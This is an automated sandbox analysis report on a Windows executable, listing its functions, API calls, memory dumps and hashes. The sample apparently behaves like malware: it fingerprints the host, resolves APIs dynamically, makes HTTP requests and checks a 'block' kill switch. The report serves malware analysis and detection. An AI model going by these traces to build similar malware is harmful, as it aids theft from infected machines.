Opcode Fuzzy Hash: 04809f690976a6db23de034b432f7ec429e9aa61712481fcf4cc50342e270fbc
Instruction Fuzzy Hash: 7C0162B1904204EBD710DF95DD45FAAFBB8F744B51F10421AEA45A3290D77459048BA1

Function 00957850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,009411B7), ref: 00957880
RtlAllocateHeap.NTDLL(00000000), ref: 00957887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0095789F

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 7f571a84b06e51c19e3b94301dbd2ce26388f64960f4a4ff0bf3c01556d6bc79
Instruction ID: b44e4795334006abaa2faa4e972489d3cff8c2a8a09a6f5152677f9ea1ee90d5
Opcode Fuzzy Hash: 7f571a84b06e51c19e3b94301dbd2ce26388f64960f4a4ff0bf3c01556d6bc79
Instruction Fuzzy Hash: 9EF04FB1944208ABD710DF99DD49BAEFBB8EB04711F10065AFA05A3690C7785904CBA1

Function 00941160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 0094116A
ExitProcess.KERNEL32 ref: 0094117E

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 79a151d0de94ed92838c61edb3dcb89fb5e2821e87872da502bb666854a0f305
Instruction ID: aaccfff22c23759bdd7f9170c62c9500c626dc4e103d2976bbee8adb6f15240e
Opcode Fuzzy Hash: 79a151d0de94ed92838c61edb3dcb89fb5e2821e87872da502bb666854a0f305
Instruction Fuzzy Hash: 3AD05E7890430CDBDB00DFE0D849ADDBB78FB0C311F000556D90563350EE306881CBA6

Function 00959C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,015D62E0), ref: 00959C2D
GetProcAddress.KERNEL32(75900000,015D6540), ref: 00959C45
GetProcAddress.KERNEL32(75900000,015E8F10), ref: 00959C5E
GetProcAddress.KERNEL32(75900000,015E8FB8), ref: 00959C76
GetProcAddress.KERNEL32(75900000,015EC8D0), ref: 00959C8E
GetProcAddress.KERNEL32(75900000,015ECA20), ref: 00959CA7
GetProcAddress.KERNEL32(75900000,015DB130), ref: 00959CBF
GetProcAddress.KERNEL32(75900000,015ECA38), ref: 00959CD7
GetProcAddress.KERNEL32(75900000,015ECA50), ref: 00959CF0
GetProcAddress.KERNEL32(75900000,015ECAE0), ref: 00959D08
GetProcAddress.KERNEL32(75900000,015EC840), ref: 00959D20
GetProcAddress.KERNEL32(75900000,015D6280), ref: 00959D39
GetProcAddress.KERNEL32(75900000,015D65A0), ref: 00959D51
GetProcAddress.KERNEL32(75900000,015D62A0), ref: 00959D69
GetProcAddress.KERNEL32(75900000,015D6620), ref: 00959D82
GetProcAddress.KERNEL32(75900000,015EC8A0), ref: 00959D9A
GetProcAddress.KERNEL32(75900000,015ECA68), ref: 00959DB2
GetProcAddress.KERNEL32(75900000,015DAF00), ref: 00959DCB
GetProcAddress.KERNEL32(75900000,015D63A0), ref: 00959DE3
GetProcAddress.KERNEL32(75900000,015EC810), ref: 00959DFB
GetProcAddress.KERNEL32(75900000,015EC918), ref: 00959E14
GetProcAddress.KERNEL32(75900000,015ECA80), ref: 00959E2C
GetProcAddress.KERNEL32(75900000,015EC870), ref: 00959E44
GetProcAddress.KERNEL32(75900000,015D65E0), ref: 00959E5D
GetProcAddress.KERNEL32(75900000,015EC9C0), ref: 00959E75
GetProcAddress.KERNEL32(75900000,015ECA98), ref: 00959E8D
GetProcAddress.KERNEL32(75900000,015ECAB0), ref: 00959EA6
GetProcAddress.KERNEL32(75900000,015ECAC8), ref: 00959EBE
GetProcAddress.KERNEL32(75900000,015EC858), ref: 00959ED6
GetProcAddress.KERNEL32(75900000,015EC9D8), ref: 00959EEF
GetProcAddress.KERNEL32(75900000,015ECAF8), ref: 00959F07
GetProcAddress.KERNEL32(75900000,015EC8E8), ref: 00959F1F
GetProcAddress.KERNEL32(75900000,015EC9F0), ref: 00959F38
GetProcAddress.KERNEL32(75900000,015E9AB8), ref: 00959F50
GetProcAddress.KERNEL32(75900000,015EC930), ref: 00959F68
GetProcAddress.KERNEL32(75900000,015EC828), ref: 00959F81
GetProcAddress.KERNEL32(75900000,015D6420), ref: 00959F99
GetProcAddress.KERNEL32(75900000,015ECA08), ref: 00959FB1
GetProcAddress.KERNEL32(75900000,015D6580), ref: 00959FCA
GetProcAddress.KERNEL32(75900000,015EC888), ref: 00959FE2
GetProcAddress.KERNEL32(75900000,015EC8B8), ref: 00959FFA
GetProcAddress.KERNEL32(75900000,015D65C0), ref: 0095A013
GetProcAddress.KERNEL32(75900000,015D6600), ref: 0095A02B
LoadLibraryA.KERNEL32(015EC948,?,00955CA3,00960AEB,?,?,?,?,?,?,?,?,?,?,00960AEA,00960AE3), ref: 0095A03D
LoadLibraryA.KERNEL32(015EC900,?,00955CA3,00960AEB,?,?,?,?,?,?,?,?,?,?,00960AEA,00960AE3), ref: 0095A04E
LoadLibraryA.KERNEL32(015EC978,?,00955CA3,00960AEB,?,?,?,?,?,?,?,?,?,?,00960AEA,00960AE3), ref: 0095A060
LoadLibraryA.KERNEL32(015EC960,?,00955CA3,00960AEB,?,?,?,?,?,?,?,?,?,?,00960AEA,00960AE3), ref: 0095A072
LoadLibraryA.KERNEL32(015EC990,?,00955CA3,00960AEB,?,?,?,?,?,?,?,?,?,?,00960AEA,00960AE3), ref: 0095A083
LoadLibraryA.KERNEL32(015EC9A8,?,00955CA3,00960AEB,?,?,?,?,?,?,?,?,?,?,00960AEA,00960AE3), ref: 0095A095
LoadLibraryA.KERNEL32(015ECC48,?,00955CA3,00960AEB,?,?,?,?,?,?,?,?,?,?,00960AEA,00960AE3), ref: 0095A0A7
LoadLibraryA.KERNEL32(015ECCA8,?,00955CA3,00960AEB,?,?,?,?,?,?,?,?,?,?,00960AEA,00960AE3), ref: 0095A0B8
GetProcAddress.KERNEL32(75FD0000,015D66C0), ref: 0095A0DA
GetProcAddress.KERNEL32(75FD0000,015ECC30), ref: 0095A0F2
GetProcAddress.KERNEL32(75FD0000,015E89D0), ref: 0095A10A
GetProcAddress.KERNEL32(75FD0000,015ECD20), ref: 0095A123
GetProcAddress.KERNEL32(75FD0000,015D66A0), ref: 0095A13B
GetProcAddress.KERNEL32(734B0000,015DB018), ref: 0095A160
GetProcAddress.KERNEL32(734B0000,015D67C0), ref: 0095A179
GetProcAddress.KERNEL32(734B0000,015DAFA0), ref: 0095A191
GetProcAddress.KERNEL32(734B0000,015ECC60), ref: 0095A1A9
GetProcAddress.KERNEL32(734B0000,015ECB40), ref: 0095A1C2
GetProcAddress.KERNEL32(734B0000,015D67A0), ref: 0095A1DA
GetProcAddress.KERNEL32(734B0000,015D68A0), ref: 0095A1F2
GetProcAddress.KERNEL32(734B0000,015ECBB8), ref: 0095A20B
GetProcAddress.KERNEL32(763B0000,015D6820), ref: 0095A22C
GetProcAddress.KERNEL32(763B0000,015D69C0), ref: 0095A244
GetProcAddress.KERNEL32(763B0000,015ECB70), ref: 0095A25D
GetProcAddress.KERNEL32(763B0000,015ECB28), ref: 0095A275
GetProcAddress.KERNEL32(763B0000,015D67E0), ref: 0095A28D
GetProcAddress.KERNEL32(750F0000,015DB1D0), ref: 0095A2B3
GetProcAddress.KERNEL32(750F0000,015DAF28), ref: 0095A2CB
GetProcAddress.KERNEL32(750F0000,015ECC78), ref: 0095A2E3
GetProcAddress.KERNEL32(750F0000,015D6800), ref: 0095A2FC
GetProcAddress.KERNEL32(750F0000,015D6840), ref: 0095A314
GetProcAddress.KERNEL32(750F0000,015DB2E8), ref: 0095A32C
GetProcAddress.KERNEL32(75A50000,015ECC90), ref: 0095A352
GetProcAddress.KERNEL32(75A50000,015D6A00), ref: 0095A36A
GetProcAddress.KERNEL32(75A50000,015E8970), ref: 0095A382
GetProcAddress.KERNEL32(75A50000,015ECDC8), ref: 0095A39B
GetProcAddress.KERNEL32(75A50000,015ECBA0), ref: 0095A3B3
GetProcAddress.KERNEL32(75A50000,015D69A0), ref: 0095A3CB
GetProcAddress.KERNEL32(75A50000,015D6780), ref: 0095A3E4
GetProcAddress.KERNEL32(75A50000,015ECB58), ref: 0095A3FC
GetProcAddress.KERNEL32(75A50000,015ECCF0), ref: 0095A414
GetProcAddress.KERNEL32(75070000,015D6680), ref: 0095A436
GetProcAddress.KERNEL32(75070000,015ECD08), ref: 0095A44E
GetProcAddress.KERNEL32(75070000,015ECBE8), ref: 0095A466
GetProcAddress.KERNEL32(75070000,015ECBD0), ref: 0095A47F
GetProcAddress.KERNEL32(75070000,015ECDE0), ref: 0095A497
GetProcAddress.KERNEL32(74E50000,015D69E0), ref: 0095A4B8
GetProcAddress.KERNEL32(74E50000,015D6860), ref: 0095A4D1
GetProcAddress.KERNEL32(75320000,015D6720), ref: 0095A4F2
GetProcAddress.KERNEL32(75320000,015ECD38), ref: 0095A50A
GetProcAddress.KERNEL32(6F060000,015D6880), ref: 0095A530
GetProcAddress.KERNEL32(6F060000,015D6A20), ref: 0095A548
GetProcAddress.KERNEL32(6F060000,015D68C0), ref: 0095A560
GetProcAddress.KERNEL32(6F060000,015ECD50), ref: 0095A579
GetProcAddress.KERNEL32(6F060000,015D6900), ref: 0095A591
GetProcAddress.KERNEL32(6F060000,015D6940), ref: 0095A5A9
GetProcAddress.KERNEL32(6F060000,015D68E0), ref: 0095A5C2
GetProcAddress.KERNEL32(6F060000,015D6920), ref: 0095A5DA
GetProcAddress.KERNEL32(6F060000,InternetSetOptionA), ref: 0095A5F1
GetProcAddress.KERNEL32(6F060000,HttpQueryInfoA), ref: 0095A607
GetProcAddress.KERNEL32(74E00000,015ECD68), ref: 0095A629
GetProcAddress.KERNEL32(74E00000,015E8830), ref: 0095A641
GetProcAddress.KERNEL32(74E00000,015ECD80), ref: 0095A659
GetProcAddress.KERNEL32(74E00000,015ECC18), ref: 0095A672
GetProcAddress.KERNEL32(74DF0000,015D6960), ref: 0095A693
GetProcAddress.KERNEL32(6F9C0000,015ECCC0), ref: 0095A6B4
GetProcAddress.KERNEL32(6F9C0000,015D66E0), ref: 0095A6CD
GetProcAddress.KERNEL32(6F9C0000,015ECCD8), ref: 0095A6E5
GetProcAddress.KERNEL32(6F9C0000,015ECD98), ref: 0095A6FD

Strings

InternetSetOptionA, xrefs: 0095A5E5
HttpQueryInfoA, xrefs: 0095A5FC

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 2da797da31c13f9d70fe58d76cb2a495ea72e1d8d2196dcc7a51bfe5bcc14a70
Instruction ID: 888d936b043641cc8d255587923c4aab54519739aa25517cd1f3854284a96c08
Opcode Fuzzy Hash: 2da797da31c13f9d70fe58d76cb2a495ea72e1d8d2196dcc7a51bfe5bcc14a70
Instruction Fuzzy Hash: C5622AB9510200AFF744DFA8ED989663BF9F78C701714851BA609D3274DF39A852EB23

Function 00946280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0095A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0095A7E6

Part of subcall function 009447B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00944839
Part of subcall function 009447B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00944849

Part of subcall function 0095A740: lstrcpy.KERNEL32(00960E17,00000000), ref: 0095A788

InternetOpenA.WININET(00960DFE,00000001,00000000,00000000,00000000), ref: 009462E1
StrCmpCA.SHLWAPI(?,015EE590), ref: 00946303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00946335
HttpOpenRequestA.WININET(00000000,GET,?,015ED9E8,00000000,00000000,00400100,00000000), ref: 00946385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 009463BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 009463D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 009463FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0094646D
InternetCloseHandle.WININET(00000000), ref: 009464EF
InternetCloseHandle.WININET(00000000), ref: 009464F9
InternetCloseHandle.WININET(00000000), ref: 00946503

Strings

ERROR, xrefs: 009464C9
GET, xrefs: 0094637C
ERROR, xrefs: 00946407

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 687d44c1d663ad63e71ff3addcf7110deec177a61f7eed1ff1c3c6a860b3a664
Instruction ID: 48a9702b66d105b72e3e544f2093d9718fb09540526c1b32131fb78e9ea554da
Opcode Fuzzy Hash: 687d44c1d663ad63e71ff3addcf7110deec177a61f7eed1ff1c3c6a860b3a664
Instruction Fuzzy Hash: A6714FB1A00218ABEF24DFA0CC55FEE7778BB45701F108159F6096B1E0DBB46A89CF56

Function 00955510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0095A820: lstrlen.KERNEL32(00944F05,?,?,00944F05,00960DDE), ref: 0095A82B
Part of subcall function 0095A820: lstrcpy.KERNEL32(00960DDE,00000000), ref: 0095A885

Part of subcall function 0095A740: lstrcpy.KERNEL32(00960E17,00000000), ref: 0095A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00955644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 009556A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00955857

Part of subcall function 0095A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0095A7E6

Part of subcall function 009551F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00955228

Part of subcall function 0095A8A0: lstrcpy.KERNEL32(?,00960E17), ref: 0095A905

Part of subcall function 009552C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00955318
Part of subcall function 009552C0: lstrlen.KERNEL32(00000000), ref: 0095532F
Part of subcall function 009552C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00955364
Part of subcall function 009552C0: lstrlen.KERNEL32(00000000), ref: 00955383
Part of subcall function 009552C0: lstrlen.KERNEL32(00000000), ref: 009553AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0095578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00955940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00955A0C
Sleep.KERNEL32(0000EA60), ref: 00955A1B

Strings

ERROR, xrefs: 00955636
ERROR, xrefs: 00955849
ERROR, xrefs: 00955693
ERROR, xrefs: 0095577D
ERROR, xrefs: 009559FE
ERROR, xrefs: 00955932

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 15c50421c9447a6edda3b4b231353c861f6500d0ac4895496c8181a29b25e6c4
Instruction ID: f8166cd76c5418de8e10779bd9510d9b99589c8057b5e4f5075630e23b26de63
Opcode Fuzzy Hash: 15c50421c9447a6edda3b4b231353c861f6500d0ac4895496c8181a29b25e6c4
Instruction Fuzzy Hash: 59E130719101049ADB14FBB1DCA6FED733CAFD4301F508629B906671A2EF346A4DCBA6

Function 009517A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 009517C5
ExitProcess.KERNEL32 ref: 009517D1

Strings

block, xrefs: 009517B7

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 4444186e071ba878a3bed7cf0a74be96097f86ac1f4f9a218a4506c3bcd32d94
Instruction ID: d5c21b232e26a42469f79779c93e66a64b851d55da5bed4129d1f72aa22bc051
Opcode Fuzzy Hash: 4444186e071ba878a3bed7cf0a74be96097f86ac1f4f9a218a4506c3bcd32d94
Instruction Fuzzy Hash: E151B4B4A00209EFDB04DFA2E9A4BBE77B9BF84305F10454DE90667390D774E949CB62

Function 00957500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00957542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0095757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00957603
RtlAllocateHeap.NTDLL(00000000), ref: 0095760A
wsprintfA.USER32 ref: 00957640

Part of subcall function 0095A740: lstrcpy.KERNEL32(00960E17,00000000), ref: 0095A788

Strings

:, xrefs: 0095755C
C, xrefs: 0095754C
\, xrefs: 00957560

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: 618e19bf7e9e723f91b02106640c1c32e1ceb6fbaa234ab2b19ddeb68720d2e4
Instruction ID: f865cf7d0a4b747b7d336bcd907ab17cbe1206231b7826a7b602f78685f0fdf4
Opcode Fuzzy Hash: 618e19bf7e9e723f91b02106640c1c32e1ceb6fbaa234ab2b19ddeb68720d2e4
Instruction Fuzzy Hash: C14183B1D04248EBDB10DF95DC45BDEBBB8EF48705F100199F90967290EB78AB48CBA5

Function 009569F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00959860: GetProcAddress.KERNEL32(75900000,015E0588), ref: 009598A1
Part of subcall function 00959860: GetProcAddress.KERNEL32(75900000,015E0738), ref: 009598BA
